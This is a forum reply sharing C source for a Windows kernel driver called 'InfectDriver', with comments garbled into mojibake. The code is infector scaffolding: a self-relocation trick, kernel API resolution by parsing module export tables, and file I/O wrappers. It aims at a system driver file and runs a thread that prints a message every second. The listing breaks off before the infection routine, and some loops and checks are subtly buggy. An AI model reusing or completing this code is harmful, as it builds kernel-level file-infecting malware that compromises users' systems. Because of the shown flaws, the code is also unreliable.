能力值:
( LV2,RANK:10 )
83 楼
//我写的注释怎么全是乱码?我自己看是好的
#include
#include
#include
#include
#include
#if DBG
#define dprintf DbgPrint
#else
#define dprintf(x)
#endif
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp);
VOID DrvUnload(IN PDRIVER_OBJECT DriverObject);
NTSTATUS DeviceIoControl(
IN ULONG IoControlCode,
IN PVOID InBuffer,
IN ULONG InBufferSize,
OUT PVOID OutBuffer,
IN ULONG OutBufferSize,
OUT IO_STATUS_BLOCK *IoStatus
);
#define NT_DEVICE_NAME L"\\Device\\InfectDriver" //ʹÓú궨Òå×Ö·û´®£¬ÕâÖÖÓ÷¨ÖµµÃ×¢Ò⣬"L"±íʾʹÓÃUNICODE×Ö·û
#define DOS_DEVICE_NAME L"\\DosDevices\\InfectDriver"
#define defMAX_FILE_SIZE 2 * 1024 * 1024 //2MB
USHORT
ChkSum(
ULONG PartialSum,
PUSHORT Source,
ULONG Length
);
/**
*@brief È¡µÃµ±Ç°º¯ÊýµÄµØÖ·
*
*@return ·µ»Øµ±Ç°º¯ÊýµÄµØÖ·
*/
ULONG __declspec(naked) KGetStartAddr()
/*×¢Òâ __declspec(naked),Ò»°ãÇé¿öÏ£¬½øÈ뺯Êýʱ±àÒëÆ÷»á²úÉú´úÂëÀ´±£´æESI£¬EDI£¬EBX£¬EBP¼Ä´æÆ÷£¬Í˳öº¯ÊýʱÔò
²úÉú´úÂë»Ö¸´ÕâЩ¼Ä´æÆ÷µÄÄÚÈÝ¡£naked call²»²úÉúÕâÑùµÄ´úÂë¡£
*/
{
__asm
{
call lbl_Next
lbl_Next:
pop eax //CALL Ö¸Áî»á½«·µ»ØµØÖ·£¨lbl_Next£©Ñ¹Èë¶ÑÕ»£¬È»ºóʹÓÃPOPÖ¸ÁȡµÃ·µ»ØµØÖ·
sub eax, 5 //·µ»ØµÄµØÖ·Òª¼õÈ¥CALLÖ¸Áî±¾ÉíµÄ³¤¶È£¬CALLÖ¸ÁîÕ¼¾Ý5¸ö×Ö½Ú
ret
}
}
WCHAR g_wszNtoskrnl[] = L"ntoskrnl.exe";
WCHAR g_wszTest[] = L"\\SystemRoot\\System32\\Drivers\\test.sys";
CHAR g_Printf[] = "I'm here.\n";
#define defApiNum 12
CHAR g_szFuncName[defApiNum][80] = //ÕâÊÇÒ»¸ö¶þάÊý×飬עÒâʹÓõÄÊÇANSI×Ö·û
{
"IoCreateFile",
"NtClose",
"ExAllocatePoolWithTag",
"NtReadFile",
"NtWriteFile",
"NtSetInformationFile",
"NtQueryInformationFile",
"ExFreePoolWithTag",
"DbgPrint",
"RtlInitUnicodeString",
"PsCreateSystemThread",
"KeDelayExecutionThread"
}; ULONG g_ulFuncAddr[defApiNum] = {0}; //×¢Ò⣬g_ulFuncAddr[12] = 0
//±íʾÏÈÇ°µÄÊý×鸳ֵֻ´Óg_ulFuncAddr[0]µ½g_ulFuncAddr[11]
#define defIoCreateFile 0
#define defNtClose 1
#define defExAllocatePoolWithTag 2
#define defNtReadFile 3
#define defNtWriteFile 4
#define defNtSetInformationFile 5
#define defNtQueryInformationFile 6
#define defExFreePoolWithTag 7
#define defDbgPrint 8
#define defRtlInitUnicodeString 9
#define defPsCreateSystemThread 10
#define defKeDelayExecutionThread 11
ULONG g_ulOrgEntryPoint = 0;
PDRIVER_OBJECT g_pDriverObject = NULL;
/**
*@brief È¡µÃÈ«¾Ö±äÁ¿»òº¯ÊýÖض¨Î»ºóµÄµØÖ·
*
*@param[in] pVar È«¾Ö±äÁ¿»òº¯ÊýµÄµØÖ·
*@return ·µ»ØÈ«¾Ö±äÁ¿»òº¯ÊýµÄʵ¼ÊµØÖ·
*/
PVOID KGetGlobalVarAddr(PVOID pVar)
{
PVOID pCurAddr = NULL;
__asm
{
Start:
call lbl_Next
lbl_Next:
pop eax
sub eax, 5
sub eax, offset Start
add eax, pVar
mov pCurAddr, eax
}
return pCurAddr;
} VOID KWcsUpper(WCHAR *Str, ULONG ulSize)//×Ô¶¨ÒåµÄUNICODE×Ö·û´®´óдת»»º¯Êý
{
if (ulSize)
{
ulSize = ulSize / sizeof(WCHAR);//¿´À´´«µÝ½øÀ´µÄulSize£¬ÊÇÒÔ×Ö½ÚΪµ¥Î»µÄ
while (ulSize)
{
if (*Str >= L'a' && *Str <= L'z')//¿ªÊ¼×ª»»
{
*Str -= 0x20;
}
Str++; //×¢ÒâStrµÄÀàÐÍ£¬ËüÊÇWCHAR ÀàÐÍ£¬Òò´Ë"++"ʵ¼ÊÊÇ ¼ÓÁËsizeof(WCHAR),¼´2×Ö½Ú
ulSize --;
}
}
else //·ñÔò¾Íһֱת»»£¬Ö±µ½ÄÚ´æµØַΪ '\0' Ϊֹ
{
while (*Str)
{
if (*Str >= L'a' && *Str <= L'z')
{
*Str -= 0x20;
}
Str++;
}
}
}
ULONG KStrLen(char *Str) //×Ô¶¨ÒåµÄÅжÏ×Ö·û´®³¤¶ÈµÄº¯Êý£¬ANSIÀàÐÍ
{
ULONG ulLength = 0;
while (*Str)
{
ulLength ++;
Str ++;
}
return ulLength;
}
ULONG KWcsLen(WCHAR *Str)//×Ô¶¨ÒåµÄÅжÏ×Ö·û´®³¤¶ÈµÄº¯Êý£¬UNICODEÀàÐÍ
{
ULONG ulLength = 0;
while (*Str)
{
ulLength ++;
Str ++;
}
return ulLength;
}
ULONG KStrNCmp(CHAR *Str1, CHAR *Str2, ULONG ulLength)//×Ô¶¨ÒåµÄ±È½Ï×Ö·û´®µÄº¯Êý£¬ANSIÀàÐÍ
{
while ( (ulLength >= 0) &&
(*Str1) &&
(*Str2) &&
(*Str1 == *Str2)
)
{
Str1 ++;
Str2 ++;
ulLength --;
} //Õâ¸öº¯ÊýµÄ¶¨ÒåÈç´Ë¼ò½à,ÎÒÄÑÒÔд³öÀ´
return (*Str1 - *Str2);
} ULONG KStrCmp(CHAR *Str1, CHAR *Str2) //×Ô¶¨ÒåµÄ±È½Ï×Ö·û´®µÄº¯Êý£¬ANSIÀàÐÍ£¬ÆäʵÓëKStrNCmp()º¯Êý¿ÉÒԺ϶þΪһ
{
while ((*Str1) && (*Str2) && (*Str1 == *Str2) )//Èç¹û (*Str1 != 0) ¾Í±íʾStr1 Õâ¸ö×Ö·û´®Ã»ÓнáÊø
{
Str1 ++;
Str2 ++;
}
return (*Str1 - *Str2);
}
ULONG KStrNiCmp(CHAR *Str1, CHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд£¬ANSIÀàÐÍ
{
CHAR c1 = (*Str1);
CHAR c2 = (*Str2);
while (ulLength >= 0 && c1 && c2 )
{
if (c1 >= 'a' && c1 <= 'z')
{
c1 -= 0x20;
}
if (c2 >= 'a' && c2 <= 'z')
{
c2 -= 0x20;
}
if (c1 != c2)
{
break;
}
Str1 ++;
Str2 ++;
c1 = *Str1;
c2 = *Str2;
ulLength --;
}
return (c1 - c2);
}
ULONG KStrICmp(CHAR *Str1, CHAR *Str2)//×Ö·û´®±È½Ïº¯Êý£¬²»Çø·Ö´óСд£¬ÓëKStrNiCmp()º¯ÊýÏà±È£¬ÉÙÒ»¸ö²ÎÊý
{
CHAR c1 = (*Str1);
CHAR c2 = (*Str2);
while ( c1 && c2 )
{
if (c1 >= 'a' && c1 <= 'z')
{
c1 -= 0x20;
}
if (c2 >= 'a' && c2 <= 'z')
{
c2 -= 0x20;
}
if (c1 != c2)
{
break;
}
Str1 ++;
Str2 ++;
c1 = *Str1;
c2 = *Str2;
}
return (c1 - c2);
}
ULONG KWcsNiCmp(WCHAR *Str1, WCHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд£¬UNICODEÀàÐÍ
{
WCHAR c1 = (*Str1);
WCHAR c2 = (*Str2);
while (ulLength >= 0 && c1 && c2 )
{
if (c1 >= L'a' && c1 <= L'z')
{
c1 -= 0x20;
}
if (c2 >= L'a' && c2 <= L'z')
{
c2 -= 0x20;
}
if (c1 != c2)
{
break;
}
Str1 ++;
Str2 ++;
c1 = *Str1;
c2 = *Str2;
ulLength --;
}
return (c1 - c2);
} ULONG KWcsNCmp(WCHAR *Str1, WCHAR *Str2, ULONG ulLength)//×Ö·û´®±È½Ï£¬²»Çø·Ö´óСд,ANSIÀàÐÍ
{
while ( (ulLength >= 0) &&
(*Str1) &&
(*Str2) &&
(*Str1 == *Str2)
)
{
Str1 ++;
Str2 ++;
ulLength --;
}
return (*Str1 - *Str2);
} /**
*@brief ×Ö·û´®¿½±´º¯Êý(Ansi×Ö·û°æ±¾)
*
*@param[out] Str1 Ä¿±ê×Ö·û´®
*@param[in] Src Ô´×Ö·û´®
*@return
*/
void KStrCpy(CHAR *Str1, CHAR *Str2)
{
while (*Str2)
{
*Str1 = *Str2;
Str1 ++;
Str2 ++;
}
*Str1 = '\0';
}
/**
*@brief ×Ö·û´®¿½±´º¯Êý(¿í×Ö·û°æ±¾)
*
*@param[out] Str1 Ä¿±ê×Ö·û´®
*@param[in] Src Ô´×Ö·û´®
*@return
*/
void KWcsCpy(WCHAR *Str1, WCHAR *Str2)
{
while (*Str2)
{
*Str1 = *Str2;
Str1 ++;
Str2 ++;
}
*Str1 = L'\0';
} /**
*@brief Äڴ濽±´º¯Êý
*
*@param[out] Dst Ä¿±êµØÖ·
*@param[in] Src Ô´µØÖ·
*@param[in] ulSize Ô´´óС
*@return
*/
VOID KMemCpy(PVOID Dst, PVOID Src, ULONG ulSize)
{
UCHAR *pDst = (UCHAR*)Dst;
UCHAR *pSrc = (UCHAR*)Src;
if (Dst == NULL || Src == NULL)
{
return ;
}
while (ulSize)
{
*pDst = *pSrc;
pSrc ++;
pDst ++;
ulSize --;
}
} /**
*@brief ¸ù¾ÝÇý¶¯Ä£¿éÃû·µ»Ø¶ÔÓ¦µÄÓ³Ïñ»ùÖ·ºÍÓ³Ïñ´óС
*
*@param[in] pwszModuleName Çý¶¯Ä£¿éÃû
*@param[in] pulModuleSize ·µ»ØÇý¶¯Ä£¿éµÄ´óС
*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊÇÇý¶¯Ä£¿é»ùÖ·
*/
ULONG KGetModuleBase(WCHAR *pwszModuleName, ULONG *pulModuleSize)//²»¶àÑÔ£¬¼ûÌû×Ó
{
ULONG ulModuleBase = 0;
LIST_ENTRY *Entry = NULL;
LDR_DATA_TABLE_ENTRY *DataTableEntry = NULL;
//USHORT usChkSum = 0;
PDRIVER_OBJECT DriverObject = KGetGlobalVarAddr(g_pDriverObject);
Entry = ((LIST_ENTRY*)DriverObject->DriverSection)->Flink;
do
{
DataTableEntry = CONTAINING_RECORD(Entry,
LDR_DATA_TABLE_ENTRY,
InLoadOrderLinks);
if (DataTableEntry->EntryPoint &&
DataTableEntry->BaseDllName.Buffer &&
DataTableEntry->FullDllName.Buffer &&
DataTableEntry->LoadCount
)
{
if ( !KWcsNiCmp(
DataTableEntry->BaseDllName.Buffer,
pwszModuleName,
DataTableEntry->BaseDllName.Length / sizeof(WCHAR)
)
)
{
ulModuleBase = DataTableEntry->DllBase;
if (pulModuleSize)
{
*pulModuleSize = DataTableEntry->SizeOfImage;
}
goto Exit0;
}
}
Entry = Entry->Flink;
}
while (Entry != ((LIST_ENTRY*)DriverObject->DriverSection)->Flink); Exit0:
return ulModuleBase;
}
/**
*@brief ¸ù¾Ýº¯ÊýÃû·µ»Øº¯Êý¶ÔÓ¦µÄRVAµØÖ·
*
*@param[in] pe PE¶ÔÏó
*@param[in] Name µ¼³ö±íÄڵĺ¯ÊýÃû
*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊǺ¯ÊýµÄRVAµØÖ·
*/
ULONG KPEGetFuncRVAByName(KPELIB *pe, CHAR *pszFuncName)
{
ULONG FuncRVA = 0;
ULONG *puFuncNameAddress = 0; //puFuncNameAddressΪָÏò ULONG Êý¾ÝÀàÐ͵ÄÖ¸Õë
USHORT *puAddressOfOrd = 0; //Ö¸ÏòÊä³öº¯ÊýµÄµ÷ÓÃÐòºÅÊý×é
ULONG *puAddressOfFunc = 0; //Ö¸ÏòÊä³öº¯ÊýµÄµØÖ·
ULONG i = 0;
USHORT Index = 0;
PUCHAR pFuncName = NULL;
ULONG FuncNameRVA = 0; PROCESS_ERROR(pe->pExportEntry); //ÅжϳÌÐòÊä³ö±í½á¹¹£¬¾ßÌåÊǸÉʲôµÄ£¬²»ÖªµÀ£¬ËƺõûʲôÓ㬿ÉÒÔɾ³ý
puFuncNameAddress = (ULONG*)( pe->pExportEntry->AddressOfNames + pe->pMap); //
puAddressOfOrd = (USHORT*)( pe->pExportEntry->AddressOfNameOrdinals + pe->pMap);
puAddressOfFunc = (ULONG*)( pe->pExportEntry->AddressOfFunctions + pe->pMap);
for (i = 0; i < pe->pExportEntry->NumberOfNames; i++)
{
Index = puAddressOfOrd[i];
FuncNameRVA = puFuncNameAddress[i];
pFuncName = (PUCHAR)( pe->pMap + FuncNameRVA);
//usChkSum = KGetStrChkSum((CHAR*)pFuncName);
if (KStrCmp(pszFuncName, (CHAR*)pFuncName) == 0)
{
FuncRVA = puAddressOfFunc[Index];
break;
}
} Exit0:
return FuncRVA;
}
/**
*@brief ¸ù¾ÝÄÚºËÓ³Ïñ³õʼһ¸öPE¶ÔÏó
*
*@param[in] Buffer ÄÚºËÓ³Ïñ»ùÖ·
*@param[in] uFileSize ÄÚºËÓ³Ïñ´óС
*@param[out] pe PE¶ÔÏó
*@return ·µ»ØSTATUS_SUCCESSʱ³É¹¦,ÆäËüֵΪʧ°Ü
*/
int KPEInitFromMem(PUCHAR Buffer, ULONG uFileSize, KPELIB *pe)//Õâ¸öº¯Êý±È½Ï¹Ø¼ü
{
int nResult = STATUS_UNSUCCESSFUL;
if (!pe) //¹ØÓÚPEÎļþ¸ñʽµÄ֪ʶ£¬ÏÖÔÚÔÚÍøÉÏÒѾºÜÆÕ¼°ÁË£¬ÎÒû×ÐϸÔĶÁÕâ¶Î´úÂë
{
goto Exit0;
}
pe->pDosHdr = (PIMAGE_DOS_HEADER)Buffer;
pe->pNtHdr = (PIMAGE_NT_HEADERS32)(Buffer + pe->pDosHdr->e_lfanew);
pe->pSecHdr = (PIMAGE_SECTION_HEADER)(
pe->pDosHdr->e_lfanew +
pe->pNtHdr->FileHeader.SizeOfOptionalHeader +
0x18 + Buffer
);
pe->pExportEntry = (PIMAGE_EXPORT_DIRECTORY)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[0].VirtualAddress
);
pe->pImportEntry = (PIMAGE_IMPORT_DESCRIPTOR)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[1].VirtualAddress
);
pe->pBaseReloc = (PIMAGE_BASE_RELOCATION)(
Buffer +
pe->pNtHdr->OptionalHeader.DataDirectory[5].VirtualAddress
);
pe->IsInitSuccessed = TRUE;
pe->pMap = Buffer;
pe->uMapSize = uFileSize;
nResult = STATUS_SUCCESS;
Exit0:
return nResult;
}
/**
*@brief ¸ù¾Ýº¯ÊýÃûµÃµ½º¯ÊýµÄµØÖ·,¿ÉÒÔÀí½âΪGetProcAddress
*
*@param[in] pwszModuleName Çý¶¯Ä£¿éÃû
*@param[in] pszFuncName º¯ÊýÃû
*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊǺ¯ÊýµÄµØÖ·
*/
ULONG KGetApiAddr(WCHAR *pwszModuleName, CHAR *pszFuncName)//¸Ãº¯ÊýÊÇÒÔÉÏ3¸öº¯ÊýµÄ·â×°
{
int nRetCode = FALSE;
ULONG ulApiAddr = 0;
ULONG ulNtosBase = 0;
ULONG ulNtosSize = 0;
KPELIB pe;
ulNtosBase = KGetModuleBase(KGetGlobalVarAddr(pwszModuleName), &ulNtosSize);
if (!ulNtosBase)//¸ù¾Ý´«µÝµÄÄ£¿éÃû£¬»ñÈ¡Ä£¿éÔÚÄÚ´æÖеÄÆðʼµØÖ·Óë´óС
{
goto Exit0;
}
nRetCode = KPEInitFromMem((PUCHAR)ulNtosBase, ulNtosSize, &pe);
if(!NT_SUCCESS(nRetCode)) //¸ù¾Ý»ñÈ¡µÄÄ£¿éÆðʼµØÖ·Óë´óС£¬³õʼ»¯½á¹¹Ìå PE
{
goto Exit0;
}
ulApiAddr = KPEGetFuncRVAByName(&pe, KGetGlobalVarAddr(pszFuncName));
if (!ulApiAddr) //¸ù¾Ý½á¹¹ÌåPE£¬»ñÈ¡ËùÐ躯ÊýµÄRVAµØÖ·
{
goto Exit0;
}
ulApiAddr += ulNtosBase;
Exit0:
return ulApiAddr;
}
//¶¨Ò庯ÊýÀàÐÍ
typedef
NTSTATUS
(*IoCreateFileFunc)(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG Disposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength,
IN CREATE_FILE_TYPE CreateFileType,
IN PVOID ExtraCreateParameters OPTIONAL,
IN ULONG Options
);
typedef
NTSTATUS
(*NtQueryInformationFileFunc)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
typedef
NTSTATUS
(*NtSetInformationFileFunc)(
IN HANDLE FileHandle,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID FileInformation,
IN ULONG Length,
IN FILE_INFORMATION_CLASS FileInformationClass
);
typedef
NTSTATUS
(*NtReadFileFunc)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
typedef
NTSTATUS
(*NtWriteFileFunc)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PVOID Buffer,
IN ULONG Length,
IN PLARGE_INTEGER ByteOffset OPTIONAL,
IN PULONG Key OPTIONAL
);
typedef
NTSTATUS
(*NtCloseFunc)(IN HANDLE Handle );
typedef
PVOID
(*ExAllocatePoolWithTagFunc)(
IN POOL_TYPE PoolType,
IN SIZE_T NumberOfBytes,
IN ULONG Tag
); typedef
VOID
(*ExFreePoolWithTagFunc)(IN PVOID P, IN ULONG Tag );
typedef
NTSTATUS
(*RtlInitUnicodeStringFunc)(PUNICODE_STRING DestinationString, PCWSTR SourceString ); typedef
NTSTATUS
(*PsCreateSystemThreadFunc)(
OUT PHANDLE ThreadHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle OPTIONAL,
OUT PCLIENT_ID ClientId OPTIONAL,
IN PKSTART_ROUTINE StartRoutine,
IN PVOID StartContext
);
typedef
ULONG (*DbgPrintFunc)(PCH Format,...);//ÕâÖÖÀàÐÍÒ²Äܶ¨Òå? typedef
NTSTATUS
(*KeDelayExecutionThreadFunc)(
IN KPROCESSOR_MODE WaitMode,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);
/**
*@brief ÿ¸ôÒ»ÃëÓÃDbgPrintÊä³öÒ»ÌõÏûÏ¢
*
*@return
*/
VOID KPrintf(PVOID pv) //ÕâÊǸöÏ̺߳¯Êý£¬Ã¿¸ôÒ»ÃëÓÃDbgPrintÊä³öÒ»ÌõÏûÏ¢
{
DbgPrintFunc _DbgPrint = NULL;
KeDelayExecutionThreadFunc _KeDelayExecutionThread = NULL;
LARGE_INTEGER Intervel; //Ó¦¸ÃÊÇ interval
_DbgPrint = (DbgPrintFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defDbgPrint]);
if (!_DbgPrint)
{
return;
}
_KeDelayExecutionThread = (KeDelayExecutionThreadFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defKeDelayExecutionThread]);//±ð±»ÀàÐÍת»»¸ãÔÎÁË
if (!_KeDelayExecutionThread)
{
return;
}
Intervel.u.HighPart = -1;
Intervel.u.LowPart = (ULONG)(-1 * 1000 * 1000 * 10);
while (TRUE)
{
_DbgPrint((CHAR*)KGetGlobalVarAddr(g_Printf));
_KeDelayExecutionThread(KernelMode, FALSE, &Intervel);//²»ÄÜÔÙÓÃSleep()ÁË
//Ïêϸ¼û£¬http://msdn.microsoft.com/en-us/library/ms801650.aspx
}
}
/**
*@brief ´´½¨KPrintÏß³Ì
*@return
*/
int KCreateSystemThread()
{
int nResult = STATUS_UNSUCCESSFUL;
HANDLE hThread = NULL;
PsCreateSystemThreadFunc _PsCreateSystemThread = NULL;
_PsCreateSystemThread = (PsCreateSystemThreadFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defPsCreateSystemThread]);
if (!_PsCreateSystemThread)
{
return STATUS_UNSUCCESSFUL;
}
nResult = _PsCreateSystemThread(
&hThread,
THREAD_ALL_ACCESS,
NULL,
NULL,
NULL,
(PKSTART_ROUTINE)KGetGlobalVarAddr(KPrintf),
NULL
);
if (!NT_SUCCESS(nResult))
{
return nResult;
}
if (!hThread)
{
KClose(hThread);
}
return nResult;
}
/**
*@brief ·ÖÅäÄÚºËÄÚ´æ
*
*@param[in] PoolType ÄÚ´æÀàÐÍ£¬Ò»°ãÊÇNonPagedPoolѽPagedPool
*@param[in] ulSize ·ÖÅä´óС
*@return ·µ»Ø0±íʾʧ°Ü,ÆäËüÖµÊÇ·ÖÅäµÄÄÚ´æµØÖ·
*/
PVOID KNew(POOL_TYPE PoolType, ULONG ulSize)//¸Ãº¯ÊýΪ ExAllocatePoolWithTag()µÄ¼òµ¥Íâ°ü
{
ExAllocatePoolWithTagFunc _ExAllocatePoolWithTag = NULL;
_ExAllocatePoolWithTag = (ExAllocatePoolWithTagFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defExAllocatePoolWithTag]);
if (!_ExAllocatePoolWithTag)
{
return NULL;
}
return _ExAllocatePoolWithTag(PoolType, ulSize, 0);
}
/**
*@brief ÊÍ·ÅÄÚ´æ
*
*@param[in] pv ÒªÊͷŵÄÄÚ´æÊ×Ö·
*@return
*/
VOID KDelete(PVOID pv)
{
ExFreePoolWithTagFunc _ExFreePoolWithTag = NULL;
if (pv == NULL)
{
return ;
}
_ExFreePoolWithTag = (ExFreePoolWithTagFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defExFreePoolWithTag]);
if (!_ExFreePoolWithTag)
{
return ;
}
_ExFreePoolWithTag(pv, 0);
}
/**
*@brief ÓëRtlZeroMemoryº¯ÊýÏàͬ
*
*@param[in,out] Buffer ÒªÇå0µÄBuffer
*@param[in] ulSize ´óС
*@return
*/
VOID KZeroMemory(UCHAR *Buffer, ULONG ulSize)//¸Ãº¯Êý½«´«µÝµÄÄÚ´æ¿éÇ¿ÖÆÇåÁã
{
ULONG i = 0;
for (i = 0; i < ulSize; i++)
{
Buffer[i] = 0;
}
}
/**
*@brief ´´½¨»ò´ò¿ªÎļþ
*
*@param[in] pwszFileName Òª´´½¨»ò´ò¿ªµÄÎļþÃû
*@param[in] ulDesiredAccess Çë²Î¿¼ZwCreateFileº¯Êý
*@param[in] ulCreateDisposition Çë²Î¿¼ZwCreateFileº¯Êý
*@return ·µ»ØINVALID_HANDLE_VALUE±íʾʧ°Ü,ÆäËüÖµÊÇÎļþ¾ä±ú
*/
HANDLE KCreateFile(WCHAR *pwszFileName, ULONG ulDesiredAccess, ULONG ulCreateDisposition)//Ò²ÊÇÒ»¸öÍâ°üº¯Êý£¬ºÜ¼òµ¥
{ //ÒòΪÄں˺¯ÊýµÄµ÷Ó㬹ý³Ì±È½Ï¸´ÔÓ£¬ËùÒÔ·â×°ÊDZØÐëµÄ
NTSTATUS status = STATUS_UNSUCCESSFUL;
HANDLE hFile = INVALID_HANDLE_VALUE;
OBJECT_ATTRIBUTES ob;
UNICODE_STRING usFileName;
IO_STATUS_BLOCK IoStatusBlock = {0};
IoCreateFileFunc _IoCreateFile = NULL;
RtlInitUnicodeStringFunc _RtlInitUnicodeString = NULL; _RtlInitUnicodeString = (RtlInitUnicodeStringFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defRtlInitUnicodeString]);
if (!_RtlInitUnicodeString)
{
goto Exit0;
} _RtlInitUnicodeString(&usFileName, pwszFileName);
InitializeObjectAttributes(&ob, &usFileName, OBJ_CASE_INSENSITIVE, NULL, NULL); _IoCreateFile = (IoCreateFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defIoCreateFile]);
if (!_IoCreateFile)
{
goto Exit0;
} status = _IoCreateFile(
&hFile,
ulDesiredAccess,
&ob,
&IoStatusBlock,
0,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ,
ulCreateDisposition,
0,
NULL,
0,
CreateFileTypeNone,
(PVOID)NULL,
0 );
if(!NT_SUCCESS(status))
{
goto Exit0;
}
Exit0:
return hFile;
}
/**
*@brief µÃµ½ÎļþµÄµ±Ç°¶ÁдָÕëλÖÃ
*
*@param[in] hFile Îļþ¾ä±ú
*@param[out] pCurPos ÓÃÀ´½ÓÊÕ¶ÁдָÕëλÖõıäÁ¿
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KGetCurPos(HANDLE hFile, PLARGE_INTEGER pCurPos)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
FILE_POSITION_INFORMATION FileInfo = {0};
NtQueryInformationFileFunc _NtQueryInformationFile = NULL;
if (pCurPos == NULL)
{
goto Exit0;
}
pCurPos->u.HighPart = 0;
pCurPos->u.LowPart = 0;
_NtQueryInformationFile = (NtQueryInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtQueryInformationFile]);
if (!_NtQueryInformationFile)
{
goto Exit0;
} status = _NtQueryInformationFile(
hFile,
NULL,
(PUCHAR)&FileInfo, //FileInfoÕâ¸ö½á¹¹Ìå·µ»ØÁË ÎļþÏà¹ØÐÅÏ¢
sizeof(FILE_POSITION_INFORMATION),
FilePositionInformation
);
if (!NT_SUCCESS(status))
{
goto Exit0;
}
pCurPos->u.HighPart = FileInfo.CurrentByteOffset.u.HighPart;
pCurPos->u.LowPart = FileInfo.CurrentByteOffset.u.LowPart;
status = STATUS_SUCCESS;
Exit0:
return status;
}
/**
*@brief µÃµ½ÎļþµÄ´óС
*
*@param[in] hFile Îļþ¾ä±ú
*@param[out] pFileSize ÓÃÀ´½ÓÊÕÎļþ´óСµÄ±äÁ¿
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KGetFileSize(HANDLE hFile, PLARGE_INTEGER pFileSize)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
FILE_STANDARD_INFORMATION FileInfo = {0};
NtQueryInformationFileFunc _NtQueryInformationFile = NULL;
if (pFileSize == NULL)
{
goto Exit0;
}
_NtQueryInformationFile = (NtQueryInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtQueryInformationFile]);
if (!_NtQueryInformationFile)
{
goto Exit0;
} status = _NtQueryInformationFile(
hFile,
NULL,
(PUCHAR)&FileInfo,
sizeof(FILE_STANDARD_INFORMATION),
FileStandardInformation
);
if (!NT_SUCCESS(status))
{
goto Exit0;
}
pFileSize->u.HighPart = FileInfo.EndOfFile.u.HighPart;
pFileSize->u.LowPart = FileInfo.EndOfFile.u.LowPart;
status = STATUS_SUCCESS;
Exit0:
return status;
}
/**
*@brief Òƶ¯Îļþ¶ÁдָÕë
*
*@param[in] hFile Îļþ¾ä±ú
*@param[in] ulOffset ¶ÁдָÕëλÖÃ
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KSeek(HANDLE hFile, ULONG ulOffset)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
FILE_POSITION_INFORMATION FileInfo;
NtSetInformationFileFunc _NtSetInformationFile = NULL;
FileInfo.CurrentByteOffset.LowPart = ulOffset;
FileInfo.CurrentByteOffset.HighPart = 0;
_NtSetInformationFile = (NtSetInformationFileFunc)*(ULONG*)KGetGlobalVarAddr(&g_ulFuncAddr[defNtSetInformationFile]);
if (!_NtSetInformationFile)
{
goto Exit0;
}
status = _NtSetInformationFile(
hFile,
NULL,
(PUCHAR)&FileInfo,
sizeof(FILE_POSITION_INFORMATION),
FilePositionInformation
);
Exit0:
return status;
}
/**
*@brief ¶ÁÎļþÊý¾Ý
*
*@param[in] hFile Îļþ¾ä±ú
*@param[out] Buffer ½ÓÊÕÊý¾ÝµÄ»º³åÇø
*@param[in] ulSize ½ÓÊÕÊý¾ÝµÄ»º³åÇø´óС
*@param[out] pulReturnLength ʵ¼Ê¶ÁÈ¡µÄÊý¾Ý´óС
*@return ·µ»ØSTATUS_SUCCESS±íʾ³É¹¦,ÆäËüÖµ±íʾʧ°Ü
*/
int KReadFile(HANDLE hFile, PVOID Buffer, ULONG ulSize, ULONG *pulReturnLength)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER ByteOffset;
